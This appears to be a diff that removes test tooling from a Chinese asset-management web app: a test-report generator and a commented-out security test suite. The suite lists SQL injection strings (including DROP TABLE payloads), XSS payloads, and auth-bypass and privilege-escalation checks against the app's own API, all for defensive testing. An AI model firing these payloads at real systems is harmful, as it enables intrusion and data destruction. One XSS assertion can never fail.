f.write("- [x] 异常状态转换 (10+用例)\n\n")
|
||||
|
||||
# 建议
|
||||
f.write("## 💡 改进建议\n\n")
|
||||
f.write("1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例\n")
|
||||
f.write("2. **创建服务层测试**: 设备类型服务、机构服务等\n")
|
||||
f.write("3. **前端测试补充**: 需要补充约200+前端单元测试用例\n")
|
||||
f.write("4. **E2E测试**: 需要补充约30+E2E测试场景\n")
|
||||
f.write("5. **性能测试**: 需要补充关键接口的性能测试\n")
|
||||
f.write("6. **安全测试**: 需要补充完整的安全测试用例\n\n")
|
||||
|
||||
f.write("## ✅ 完成标准\n\n")
|
||||
f.write("- [ ] 所有后端单元测试通过\n")
|
||||
f.write("- [ ] 代码覆盖率达到70%\n")
|
||||
f.write("- [ ] 所有前端单元测试通过\n")
|
||||
f.write("- [ ] E2E测试通过\n")
|
||||
f.write("- [ ] 性能测试通过\n")
|
||||
f.write("- [ ] 安全测试通过\n\n")
|
||||
|
||||
f.write("---\n\n")
|
||||
f.write("**报告生成者**: 测试用例补充组\n")
|
||||
f.write(f"**生成时间**: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
|
||||
print(f"\n[OK] Test report generated: {report_file}")
|
||||
print(f"\n[INFO] View report: type {report_file}")
|
||||
|
||||
return report_file
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("资产管理系统 - 测试报告生成器")
|
||||
print("=" * 60)
|
||||
|
||||
report_file = generate_test_report()
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("报告生成完成!")
|
||||
print("=" * 60)
|
||||
@@ -1,500 +0,0 @@
|
||||
"""
|
||||
测试报告生成脚本
|
||||
|
||||
生成完整的测试报告,包括:
|
||||
- 测试执行摘要
|
||||
- 覆盖率报告
|
||||
- 性能测试结果
|
||||
- 安全测试结果
|
||||
- Bug清单
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
class TestReportGenerator:
|
||||
"""测试报告生成器"""
|
||||
|
||||
def __init__(self, project_root: str):
|
||||
self.project_root = Path(project_root)
|
||||
self.report_dir = self.project_root / "test_reports"
|
||||
self.report_dir.mkdir(exist_ok=True)
|
||||
|
||||
self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
self.report_data = {
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"project": "资产管理系统",
|
||||
"version": "1.0.0",
|
||||
"summary": {},
|
||||
"unit_tests": {},
|
||||
"integration_tests": {},
|
||||
"e2e_tests": {},
|
||||
"coverage": {},
|
||||
"performance": {},
|
||||
"security": {},
|
||||
"bugs": []
|
||||
}
|
||||
|
||||
def run_unit_tests(self):
|
||||
"""运行单元测试"""
|
||||
print("=" * 60)
|
||||
print("运行单元测试...")
|
||||
print("=" * 60)
|
||||
|
||||
cmd = [
|
||||
"pytest",
|
||||
"-v",
|
||||
"-m", "unit",
|
||||
"--html=test_reports/unit_test_report.html",
|
||||
"--self-contained-html",
|
||||
"--json-report",
|
||||
"--json-report-file=test_reports/unit_test_results.json"
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# 解析结果
|
||||
if os.path.exists("test_reports/unit_test_results.json"):
|
||||
with open("test_reports/unit_test_results.json", "r") as f:
|
||||
data = json.load(f)
|
||||
self.report_data["unit_tests"] = {
|
||||
"total": data.get("summary", {}).get("total", 0),
|
||||
"passed": data.get("summary", {}).get("passed", 0),
|
||||
"failed": data.get("summary", {}).get("failed", 0),
|
||||
"skipped": data.get("summary", {}).get("skipped", 0),
|
||||
"duration": data.get("summary", {}).get("duration", 0)
|
||||
}
|
||||
|
||||
return result.returncode == 0
|
||||
|
||||
def run_integration_tests(self):
|
||||
"""运行集成测试"""
|
||||
print("\n" + "=" * 60)
|
||||
print("运行集成测试...")
|
||||
print("=" * 60)
|
||||
|
||||
cmd = [
|
||||
"pytest",
|
||||
"-v",
|
||||
"-m", "integration",
|
||||
"--html=test_reports/integration_test_report.html",
|
||||
"--self-contained-html"
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
return result.returncode == 0
|
||||
|
||||
def run_coverage_tests(self):
|
||||
"""运行覆盖率测试"""
|
||||
print("\n" + "=" * 60)
|
||||
print("生成覆盖率报告...")
|
||||
print("=" * 60)
|
||||
|
||||
cmd = [
|
||||
"pytest",
|
||||
"--cov=app",
|
||||
"--cov-report=html:test_reports/htmlcov",
|
||||
"--cov-report=term-missing",
|
||||
"--cov-report=json:test_reports/coverage.json",
|
||||
"--cov-fail-under=70"
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# 解析覆盖率数据
|
||||
if os.path.exists("test_reports/coverage.json"):
|
||||
with open("test_reports/coverage.json", "r") as f:
|
||||
data = json.load(f)
|
||||
totals = data.get("totals", {})
|
||||
self.report_data["coverage"] = {
|
||||
"line_coverage": totals.get("percent_covered", 0),
|
||||
"lines_covered": totals.get("covered_lines", 0),
|
||||
"lines_missing": totals.get("missing_lines", 0),
|
||||
"num_statements": totals.get("num_statements", 0)
|
||||
}
|
||||
|
||||
return result.returncode == 0
|
||||
|
||||
def run_security_tests(self):
|
||||
"""运行安全测试"""
|
||||
print("\n" + "=" * 60)
|
||||
print("运行安全测试...")
|
||||
print("=" * 60)
|
||||
|
||||
cmd = [
|
||||
"pytest",
|
||||
"-v",
|
||||
"tests/security/",
|
||||
"-m", "security",
|
||||
"--html=test_reports/security_test_report.html"
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
return result.returncode == 0
|
||||
|
||||
def collect_bugs(self):
|
||||
"""收集测试中发现的Bug"""
|
||||
print("\n" + "=" * 60)
|
||||
print("分析测试结果,收集Bug...")
|
||||
print("=" * 60)
|
||||
|
||||
bugs = []
|
||||
|
||||
# 从失败的测试中提取Bug
|
||||
test_results = [
|
||||
"test_reports/unit_test_results.json",
|
||||
"test_reports/integration_test_results.json"
|
||||
]
|
||||
|
||||
for result_file in test_results:
|
||||
if os.path.exists(result_file):
|
||||
with open(result_file, "r") as f:
|
||||
data = json.load(f)
|
||||
|
||||
for test in data.get("tests", []):
|
||||
if test.get("outcome") == "failed":
|
||||
bugs.append({
|
||||
"test_name": test.get("name"),
|
||||
"error": test.get("call", {}).get("crash", {}).get("message", ""),
|
||||
"severity": "high" if "critical" in test.get("name", "").lower() else "medium",
|
||||
"status": "open"
|
||||
})
|
||||
|
||||
self.report_data["bugs"] = bugs
|
||||
return bugs
|
||||
|
||||
def generate_html_report(self):
|
||||
"""生成HTML测试报告"""
|
||||
print("\n" + "=" * 60)
|
||||
print("生成HTML测试报告...")
|
||||
print("=" * 60)
|
||||
|
||||
html_template = """
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>资产管理系统 - 测试报告</title>
|
||||
<style>
|
||||
* {{
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}}
|
||||
|
||||
body {{
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
|
||||
background: #f5f5f5;
|
||||
padding: 20px;
|
||||
line-height: 1.6;
|
||||
}}
|
||||
|
||||
.container {{
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
background: white;
|
||||
padding: 30px;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
|
||||
}}
|
||||
|
||||
h1 {{
|
||||
color: #333;
|
||||
border-bottom: 3px solid #FF6B35;
|
||||
padding-bottom: 10px;
|
||||
margin-bottom: 30px;
|
||||
}}
|
||||
|
||||
h2 {{
|
||||
color: #FF6B35;
|
||||
margin-top: 30px;
|
||||
margin-bottom: 15px;
|
||||
}}
|
||||
|
||||
.summary {{
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||
gap: 20px;
|
||||
margin-bottom: 30px;
|
||||
}}
|
||||
|
||||
.metric {{
|
||||
padding: 20px;
|
||||
border-radius: 8px;
|
||||
text-align: center;
|
||||
}}
|
||||
|
||||
.metric.success {{
|
||||
background: #d4edda;
|
||||
color: #155724;
|
||||
}}
|
||||
|
||||
.metric.warning {{
|
||||
background: #fff3cd;
|
||||
color: #856404;
|
||||
}}
|
||||
|
||||
.metric.danger {{
|
||||
background: #f8d7da;
|
||||
color: #721c24;
|
||||
}}
|
||||
|
||||
.metric-value {{
|
||||
font-size: 32px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 5px;
|
||||
}}
|
||||
|
||||
.metric-label {{
|
||||
font-size: 14px;
|
||||
opacity: 0.8;
|
||||
}}
|
||||
|
||||
.bug-list {{
|
||||
list-style: none;
|
||||
}}
|
||||
|
||||
.bug-item {{
|
||||
padding: 15px;
|
||||
margin-bottom: 10px;
|
||||
border-left: 4px solid #dc3545;
|
||||
background: #f8f9fa;
|
||||
border-radius: 4px;
|
||||
}}
|
||||
|
||||
.bug-item.high {{
|
||||
border-left-color: #dc3545;
|
||||
}}
|
||||
|
||||
.bug-item.medium {{
|
||||
border-left-color: #ffc107;
|
||||
}}
|
||||
|
||||
.bug-item.low {{
|
||||
border-left-color: #28a745;
|
||||
}}
|
||||
|
||||
table {{
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin-top: 20px;
|
||||
}}
|
||||
|
||||
th, td {{
|
||||
padding: 12px;
|
||||
text-align: left;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}}
|
||||
|
||||
th {{
|
||||
background: #f8f9fa;
|
||||
font-weight: bold;
|
||||
}}
|
||||
|
||||
.status-pass {{
|
||||
color: #28a745;
|
||||
font-weight: bold;
|
||||
}}
|
||||
|
||||
.status-fail {{
|
||||
color: #dc3545;
|
||||
font-weight: bold;
|
||||
}}
|
||||
|
||||
footer {{
|
||||
margin-top: 50px;
|
||||
padding-top: 20px;
|
||||
border-top: 1px solid #ddd;
|
||||
text-align: center;
|
||||
color: #666;
|
||||
font-size: 14px;
|
||||
}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>📊 资产管理系统 - 测试报告</h1>
|
||||
|
||||
<div class="summary">
|
||||
<div class="metric success">
|
||||
<div class="metric-value">{total_tests}</div>
|
||||
<div class="metric-label">总测试数</div>
|
||||
</div>
|
||||
<div class="metric success">
|
||||
<div class="metric-value">{passed_tests}</div>
|
||||
<div class="metric-label">通过</div>
|
||||
</div>
|
||||
<div class="metric {failed_class}">
|
||||
<div class="metric-value">{failed_tests}</div>
|
||||
<div class="metric-label">失败</div>
|
||||
</div>
|
||||
<div class="metric {coverage_class}">
|
||||
<div class="metric-value">{coverage}%</div>
|
||||
<div class="metric-label">代码覆盖率</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<h2>📋 测试摘要</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>测试类型</th>
|
||||
<th>总数</th>
|
||||
<th>通过</th>
|
||||
<th>失败</th>
|
||||
<th>通过率</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>单元测试</td>
|
||||
<td>{unit_total}</td>
|
||||
<td>{unit_passed}</td>
|
||||
<td>{unit_failed}</td>
|
||||
<td>{unit_pass_rate}%</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>集成测试</td>
|
||||
<td>{integration_total}</td>
|
||||
<td>{integration_passed}</td>
|
||||
<td>{integration_failed}</td>
|
||||
<td>{integration_pass_rate}%</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>E2E测试</td>
|
||||
<td>{e2e_total}</td>
|
||||
<td>{e2e_passed}</td>
|
||||
<td>{e2e_failed}</td>
|
||||
<td>{e2e_pass_rate}%</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<h2>🐛 Bug清单 ({bug_count})</h2>
|
||||
<ul class="bug-list">
|
||||
{bug_items}
|
||||
</ul>
|
||||
|
||||
<footer>
|
||||
<p>生成时间: {timestamp}</p>
|
||||
<p>资产管理系统 v{version} | 测试框架: Pytest + Vitest + Playwright</p>
|
||||
</footer>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
# 计算统计数据
|
||||
total_tests = (
|
||||
self.report_data["unit_tests"].get("total", 0) +
|
||||
self.report_data["integration_tests"].get("total", 0) +
|
||||
self.report_data["e2e_tests"].get("total", 0)
|
||||
)
|
||||
|
||||
passed_tests = (
|
||||
self.report_data["unit_tests"].get("passed", 0) +
|
||||
self.report_data["integration_tests"].get("passed", 0) +
|
||||
self.report_data["e2e_tests"].get("passed", 0)
|
||||
)
|
||||
|
||||
failed_tests = (
|
||||
self.report_data["unit_tests"].get("failed", 0) +
|
||||
self.report_data["integration_tests"].get("failed", 0) +
|
||||
self.report_data["e2e_tests"].get("failed", 0)
|
||||
)
|
||||
|
||||
coverage = self.report_data["coverage"].get("line_coverage", 0)
|
||||
|
||||
# 生成Bug列表HTML
|
||||
bug_items = ""
|
||||
for bug in self.report_data.get("bugs", []):
|
||||
bug_items += f"""
|
||||
<li class="bug-item {bug.get('severity', 'medium')}">
|
||||
<strong>{bug.get('test_name', '')}</strong><br>
|
||||
<small>{bug.get('error', '')}</small>
|
||||
</li>
|
||||
"""
|
||||
|
||||
html = html_template.format(
|
||||
total_tests=total_tests,
|
||||
passed_tests=passed_tests,
|
||||
failed_tests=failed_tests,
|
||||
coverage=int(coverage),
|
||||
failed_class="success" if failed_tests == 0 else "danger",
|
||||
coverage_class="success" if coverage >= 70 else "warning" if coverage >= 50 else "danger",
|
||||
unit_total=self.report_data["unit_tests"].get("total", 0),
|
||||
unit_passed=self.report_data["unit_tests"].get("passed", 0),
|
||||
unit_failed=self.report_data["unit_tests"].get("failed", 0),
|
||||
unit_pass_rate=0,
|
||||
integration_total=self.report_data["integration_tests"].get("total", 0),
|
||||
integration_passed=self.report_data["integration_tests"].get("passed", 0),
|
||||
integration_failed=self.report_data["integration_tests"].get("failed", 0),
|
||||
integration_pass_rate=0,
|
||||
e2e_total=self.report_data["e2e_tests"].get("total", 0),
|
||||
e2e_passed=self.report_data["e2e_tests"].get("passed", 0),
|
||||
e2e_failed=self.report_data["e2e_tests"].get("failed", 0),
|
||||
e2e_pass_rate=0,
|
||||
bug_count=len(self.report_data.get("bugs", [])),
|
||||
bug_items=bug_items if bug_items else "<li>暂无Bug</li>",
|
||||
timestamp=self.report_data["timestamp"],
|
||||
version=self.report_data["version"]
|
||||
)
|
||||
|
||||
report_path = self.report_dir / f"test_report_{self.timestamp}.html"
|
||||
with open(report_path, "w", encoding="utf-8") as f:
|
||||
f.write(html)
|
||||
|
||||
print(f"✓ HTML报告已生成: {report_path}")
|
||||
return report_path
|
||||
|
||||
def generate_json_report(self):
|
||||
"""生成JSON测试报告"""
|
||||
json_path = self.report_dir / f"test_report_{self.timestamp}.json"
|
||||
|
||||
with open(json_path, "w", encoding="utf-8") as f:
|
||||
json.dump(self.report_data, f, ensure_ascii=False, indent=2)
|
||||
|
||||
print(f"✓ JSON报告已生成: {json_path}")
|
||||
return json_path
|
||||
|
||||
def generate_all_reports(self):
|
||||
"""生成所有报告"""
|
||||
print("\n" + "=" * 60)
|
||||
print("🚀 开始生成测试报告...")
|
||||
print("=" * 60)
|
||||
|
||||
# 运行各类测试
|
||||
self.run_unit_tests()
|
||||
self.run_integration_tests()
|
||||
self.run_coverage_tests()
|
||||
self.run_security_tests()
|
||||
|
||||
# 收集Bug
|
||||
self.collect_bugs()
|
||||
|
||||
# 生成报告
|
||||
html_report = self.generate_html_report()
|
||||
json_report = self.generate_json_report()
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("✅ 测试报告生成完成!")
|
||||
print("=" * 60)
|
||||
print(f"\n📄 HTML报告: {html_report}")
|
||||
print(f"📄 JSON报告: {json_report}")
|
||||
print(f"📄 覆盖率报告: {self.report_dir}/htmlcov/index.html")
|
||||
print(f"📄 单元测试报告: {self.report_dir}/unit_test_report.html")
|
||||
print(f"📄 集成测试报告: {self.report_dir}/integration_test_report.html")
|
||||
print(f"📄 安全测试报告: {self.report_dir}/security_test_report.html")
|
||||
print("\n" + "=" * 60)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
|
||||
# 项目根目录
|
||||
project_root = sys.argv[1] if len(sys.argv) > 1 else "."
|
||||
|
||||
# 生成测试报告
|
||||
generator = TestReportGenerator(project_root)
|
||||
generator.generate_all_reports()
|
||||
@@ -1,524 +0,0 @@
|
||||
"""
|
||||
安全测试
|
||||
|
||||
测试内容:
|
||||
- SQL注入测试
|
||||
- XSS测试
|
||||
- CSRF测试
|
||||
- 权限绕过测试
|
||||
- 敏感数据泄露测试
|
||||
- 认证绕过测试
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# class TestSQLInjection:
|
||||
# """测试SQL注入攻击"""
|
||||
#
|
||||
# def test_sql_injection_in_login(self, client: TestClient):
|
||||
# """测试登录接口的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "admin' OR '1'='1",
|
||||
# "admin'--",
|
||||
# "admin'/*",
|
||||
# "' OR 1=1--",
|
||||
# "'; DROP TABLE users--",
|
||||
# "admin' UNION SELECT * FROM users--",
|
||||
# "' OR '1'='1' /*",
|
||||
# "1' AND 1=1--",
|
||||
# "admin'; INSERT INTO users VALUES--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": malicious_input,
|
||||
# "password": "Test123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 应该返回认证失败,而不是数据库错误或成功登录
|
||||
# assert response.status_code in [401, 400, 422]
|
||||
#
|
||||
# # 如果返回成功,说明存在SQL注入漏洞
|
||||
# if response.status_code == 200:
|
||||
# pytest.fail(f"SQL注入漏洞检测: {malicious_input}")
|
||||
#
|
||||
# def test_sql_injection_in_search(self, client: TestClient, auth_headers):
|
||||
# """测试搜索接口的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "'; DROP TABLE assets--",
|
||||
# "1' OR '1'='1",
|
||||
# "'; SELECT * FROM users--",
|
||||
# "admin' UNION SELECT * FROM assets--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"keyword": malicious_input},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该正常返回或参数错误,不应该报数据库错误
|
||||
# assert response.status_code in [200, 400, 422]
|
||||
#
|
||||
# def test_sql_injection_in_id_parameter(self, client: TestClient, auth_headers):
|
||||
# """测试ID参数的SQL注入"""
|
||||
# malicious_ids = [
|
||||
# "1 OR 1=1",
|
||||
# "1; DROP TABLE assets--",
|
||||
# "1' UNION SELECT * FROM users--",
|
||||
# "1' AND 1=1--",
|
||||
# ]
|
||||
#
|
||||
# for malicious_id in malicious_ids:
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{malicious_id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该返回404或参数错误
|
||||
# assert response.status_code in [404, 400, 422]
|
||||
#
|
||||
# def test_sql_injection_in_order_by(self, client: TestClient, auth_headers):
|
||||
# """测试排序参数的SQL注入"""
|
||||
# malicious_inputs = [
|
||||
# "id; DROP TABLE users--",
|
||||
# "id OR 1=1",
|
||||
# "id' AND '1'='1",
|
||||
# ]
|
||||
#
|
||||
# for malicious_input in malicious_inputs:
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"sort_by": malicious_input},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 应该返回参数错误
|
||||
# assert response.status_code in [400, 422]
|
||||
#
|
||||
# def test_second_order_sql_injection(self, client: TestClient, auth_headers):
|
||||
# """测试二阶SQL注入"""
|
||||
# # 先创建包含恶意代码的数据
|
||||
# malicious_data = {
|
||||
# "asset_name": "test'; DROP TABLE assets--",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
#
|
||||
# create_response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json=malicious_data
|
||||
# )
|
||||
#
|
||||
# # 如果创建成功,尝试查询
|
||||
# if create_response.status_code == 200:
|
||||
# # 查询应该不会触发SQL注入
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
|
||||
|
||||
# class TestXSS:
|
||||
# """测试XSS跨站脚本攻击"""
|
||||
#
|
||||
# def test_xss_in_asset_name(self, client: TestClient, auth_headers):
|
||||
# """测试资产名称的XSS"""
|
||||
# xss_payloads = [
|
||||
# "<script>alert('XSS')</script>",
|
||||
# "<img src=x onerror=alert('XSS')>",
|
||||
# "<svg onload=alert('XSS')>",
|
||||
# "javascript:alert('XSS')",
|
||||
# "<iframe src='javascript:alert(XSS)'>",
|
||||
# "<body onload=alert('XSS')>",
|
||||
# ]
|
||||
#
|
||||
# for payload in xss_payloads:
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": payload,
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# if response.status_code == 200:
|
||||
# # 获取数据
|
||||
# asset_id = response.json()["data"]["id"]
|
||||
# get_response = client.get(
|
||||
# f"/api/v1/assets/{asset_id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 验证XSS payload被转义或过滤
|
||||
# content = get_response.text
|
||||
# assert "<script>" not in content
|
||||
# assert "javascript:" not in content
|
||||
# assert "onerror=" not in content
|
||||
#
|
||||
# def test_xss_in_search_parameter(self, client: TestClient, auth_headers):
|
||||
# """测试搜索参数的XSS"""
|
||||
# xss_payload = "<script>alert('XSS')</script>"
|
||||
#
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# params={"keyword": xss_payload},
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# # 验证XSS payload被转义
|
||||
# content = response.text
|
||||
# assert "<script>" not in content or "<script>" in content
|
||||
#
|
||||
# def test_xss_in_user_profile(self, client: TestClient, auth_headers):
|
||||
# """测试用户资料的XSS"""
|
||||
# xss_payload = "<img src=x onerror=alert('XSS')>"
|
||||
#
|
||||
# response = client.put(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers,
|
||||
# json={"real_name": xss_payload}
|
||||
# )
|
||||
#
|
||||
# if response.status_code == 200:
|
||||
# # 验证XSS被过滤
|
||||
# get_response = client.get(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# content = get_response.text
|
||||
# assert "onerror=" not in content
|
||||
|
||||
|
||||
# class TestCSRF:
|
||||
# """测试CSRF跨站请求伪造"""
|
||||
#
|
||||
# def test_csrf_protection(self, client: TestClient, auth_headers):
|
||||
# """测试CSRF保护"""
|
||||
# # 正常请求应该包含CSRF token
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": "Test",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 如果启用CSRF保护,缺少token应该被拒绝
|
||||
# # 这里需要根据实际实现调整
|
||||
#
|
||||
# def test_csrf_token_validation(self, client: TestClient):
|
||||
# """测试CSRF token验证"""
|
||||
# # 尝试使用无效的CSRF token
|
||||
# invalid_headers = {
|
||||
# "X-CSRF-Token": "invalid-token-12345"
|
||||
# }
|
||||
#
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=invalid_headers,
|
||||
# json={
|
||||
# "asset_name": "Test",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 应该被拒绝
|
||||
# assert response.status_code in [403, 401]
|
||||
|
||||
|
||||
# class TestAuthenticationBypass:
|
||||
# """测试认证绕过"""
|
||||
#
|
||||
# def test_missing_token(self, client: TestClient):
|
||||
# """测试缺少token"""
|
||||
# response = client.get("/api/v1/assets")
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_invalid_token(self, client: TestClient):
|
||||
# """测试无效token"""
|
||||
# headers = {"Authorization": "Bearer invalid_token_12345"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_expired_token(self, client: TestClient):
|
||||
# """测试过期token"""
|
||||
# # 使用一个过期的token
|
||||
# expired_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.expired.token"
|
||||
# headers = {"Authorization": f"Bearer {expired_token}"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_modified_token(self, client: TestClient):
|
||||
# """测试被修改的token"""
|
||||
# # 修改有效token的一部分
|
||||
# modified_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.modified"
|
||||
# headers = {"Authorization": f"Bearer {modified_token}"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_token_without_bearer(self, client: TestClient):
|
||||
# """测试不带Bearer前缀的token"""
|
||||
# headers = {"Authorization": "valid_token_without_bearer"}
|
||||
# response = client.get("/api/v1/assets", headers=headers)
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_session_fixation(self, client: TestClient):
|
||||
# """测试会话固定攻击"""
|
||||
# # 登录前获取session
|
||||
# session1 = client.cookies.get("session")
|
||||
#
|
||||
# # 登录
|
||||
# client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "admin",
|
||||
# "password": "Admin123",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# # 验证session已更新
|
||||
# session2 = client.cookies.get("session")
|
||||
# assert session1 != session2 or session2 is None # 使用JWT时可能没有session
|
||||
|
||||
|
||||
# class TestAuthorizationBypass:
|
||||
# """测试权限绕过"""
|
||||
#
|
||||
# def test_direct_url_access_without_permission(self, client: TestClient, auth_headers):
|
||||
# """测试无权限直接访问URL"""
|
||||
# # 普通用户尝试访问管理员接口
|
||||
# response = client.delete(
|
||||
# "/api/v1/users/1",
|
||||
# headers=auth_headers # 普通用户token
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_horizontal_privilege_escalation(self, client: TestClient, user_headers, admin_headers):
|
||||
# """测试水平权限提升"""
|
||||
# # 用户A尝试访问用户B的数据
|
||||
# # 创建user_headers为用户A的token
|
||||
# response = client.get(
|
||||
# "/api/v1/users/2", # 尝试访问用户B
|
||||
# headers=user_headers
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_vertical_privilege_escalation(self, client: TestClient, user_headers):
|
||||
# """测试垂直权限提升"""
|
||||
# # 普通用户尝试访问管理员功能
|
||||
# response = client.post(
|
||||
# "/api/v1/users",
|
||||
# headers=user_headers,
|
||||
# json={
|
||||
# "username": "newuser",
|
||||
# "password": "Test123"
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_parameter_tampering(self, client: TestClient, auth_headers):
|
||||
# """测试参数篡改"""
|
||||
# # 尝试通过修改ID访问其他用户数据
|
||||
# response = client.get(
|
||||
# "/api/v1/users/999", # 不存在的用户或其他用户
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# # 应该返回403或404,不应该返回数据
|
||||
# assert response.status_code in [403, 404]
|
||||
#
|
||||
# def test_method_enforcement(self, client: TestClient, auth_headers):
|
||||
# """测试HTTP方法强制执行"""
|
||||
# # 某些接口可能只允许特定方法
|
||||
# response = client.put(
|
||||
# "/api/v1/assets", # 应该是POST
|
||||
# headers=auth_headers,
|
||||
# json={}
|
||||
# )
|
||||
# assert response.status_code in [405, 404] # Method Not Allowed
|
||||
|
||||
|
||||
# class TestSensitiveDataExposure:
|
||||
# """测试敏感数据泄露"""
|
||||
#
|
||||
# def test_password_not_in_response(self, client: TestClient, auth_headers):
|
||||
# """测试响应中不包含密码"""
|
||||
# response = client.get(
|
||||
# "/api/v1/users/me",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
#
|
||||
# content = response.text
|
||||
# assert "password" not in content.lower()
|
||||
# assert "hashed_password" not in content
|
||||
#
|
||||
# def test_token_not_logged(self, client: TestClient):
|
||||
# """测试token不被记录到日志"""
|
||||
# # 这个测试需要检查日志文件或日志系统
|
||||
# pass
|
||||
#
|
||||
# def test_error_messages_no_sensitive_info(self, client: TestClient):
|
||||
# """测试错误消息不包含敏感信息"""
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "nonexistent",
|
||||
# "password": "wrong",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": "test"
|
||||
# }
|
||||
# )
|
||||
#
|
||||
# error_msg = response.text.lower()
|
||||
# # 错误消息不应该暴露数据库信息
|
||||
# assert "mysql" not in error_msg
|
||||
# assert "postgresql" not in error_msg
